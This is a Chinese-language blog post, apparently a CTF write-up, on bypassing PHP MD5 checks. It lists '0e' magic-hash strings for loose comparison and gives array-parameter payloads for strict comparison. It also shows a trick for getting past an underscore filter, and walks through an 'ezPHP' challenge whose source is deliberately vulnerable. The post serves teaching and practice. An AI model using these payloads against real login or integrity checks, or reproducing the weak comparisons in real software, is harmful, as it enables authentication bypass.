md5繞過

Yolololololo發表於2024-04-27

md5繞過

($a != $b && md5($a) == md5($b))的繞過

傳參a=s1885207154a,b=s1836677006a

image-20240425220419986

image-20240425220629684

MD5值:

md5("s1885207154a") => 0e509367213418206700842008763514

md5("s1836677006a") => 0e481036490867661113260034900752

在PHP中 0e開頭表示為科學計數法 0e後面的字母 會被當作零處理

雙md5碰撞繞過

if ($a != $b && md5($a) == md5(md5($b))

使md5($a)==md5(md5($b))的值為0e,只要使md5($b)的值也為0e,就繞過

找一個 值為0e開頭,md5值也為0e開頭的

md5("V5VDSHva7fjyJoJ33IQl") => 0e18bb6e1d5c2e19b63898aeed6b37ea

image-20240425221947566

image-20240425222153427

a=s1885207154a,b=V5VDSHva7fjyJoJ33IQl即可繞過if判斷

雙md5結果仍為0e開頭字串

MD5和雙MD5以後的值都是0e開頭的

CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

字串的MD5值為0e開頭

QLTHNDT
QNKCDZO
PJNPDWY
NWWKITQ
NOOPCJF 
MMHUWUV
MAUXXQC
240610708
s878926199a
s155964671a
s214587387a

md5弱型別比較

if (md5($_GET['a']) == md5($__GET['b']))

同理0e繞過

md5強型別比較

if(md5((string)$_GET['a'])===md5((string)$__GET['b']))

可以利用陣列繞過

var_dump(md5([1,2,3])==md5([4,5,6]));


var_dump(md5($_GET['a'])==md5($_GET['b']));


?a[]=1&b[]

md5中需要的是一個string引數,但是當你傳入一個array(陣列)是,md5()是不會報錯的,只是無法求出array的md5的值,這樣就會導致任意的2個array的md5的值都會相等

例題 ezPHP

原始碼

<?php
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);

$a = 'O.U.C';

$query = $_SERVER['QUERY_STRING'];
parse_str($query);
if (preg_match('/_|%5f|\.|%2E/i',$query)){
    die('聽說你是駭客');
}

echo '你知道b等於什麼能繞過這個弱型別嗎(〃` 3′〃)'.'<br>';
if (md5($a)==md5($_GET['b'])&&$a!=$_GET['b']){
    echo "哎呦,不錯喔".'<br>';
    $O_U_C=$_GET['O_U_C'];
    if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C)){
        echo 'but'.'如果我寄出===閣下又該如何應對๑乛◡乛๑'.'<br>';
        if (md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52']){
            echo '好,那麼好'.'<br>';
            if ($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))){
                echo '還是被你解出來了'.' ྀི ྀིɞ ྀི ིྀ ིྀ'.$flag;
            }else{
                echo '告訴你secret的md5值也無妨,反正雜湊是不可逆的๑乛◡乛๑,除非你能籜斬攻擊我'.md5($secret.'ouc').'<br>';
            }
        }else{
            echo '不過如此';
        }
    }else{
        die("不行嘛(´ェ`)");
    }
}else{
    echo '嗨害嗨  (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)';
}
你知道b等於什麼能繞過這個弱型別嗎(〃` 3′〃)
嗨害嗨 (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)

(md5($a)==md5($_GET['b'])&&$a!=$_GET['b']){

陣列繞過 ?a[]=0&b[]=3

if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C))

要求 變數 O_U_G不是陣列 並且滿足 $O_U_G與字串100 在值和型別上都不相等

if (preg_match('/_|%5f|.|%2E/i',$query))

image-20240427094110521

preg_match函式匹配了 _.以及 %5f%2E

使用空格 在php中 空格會被特殊解析成下劃線

?a[]=0&b[]=4&O U C=100%0a

image-20240427112537642

if (md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52'])

該比較為強比較 不能使用0e繞過 此時0e不再被當作科學計數法 0e後面的東西不在記為0處理

md51[]=1&md52[]=2

image-20240427112621355

if ($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))){

傳入cookie的值為md5 使其等於 secret傳入的md5的md5值相等

image-20240427114535593

image-20240427114608230

secter和傳入的md5拼接的值的md5已給出

image-20240427114708232

image-20240427114817202

因為有拼接的存在 md5=ouc

image-20240427115001473

image-20240427115106052

相關文章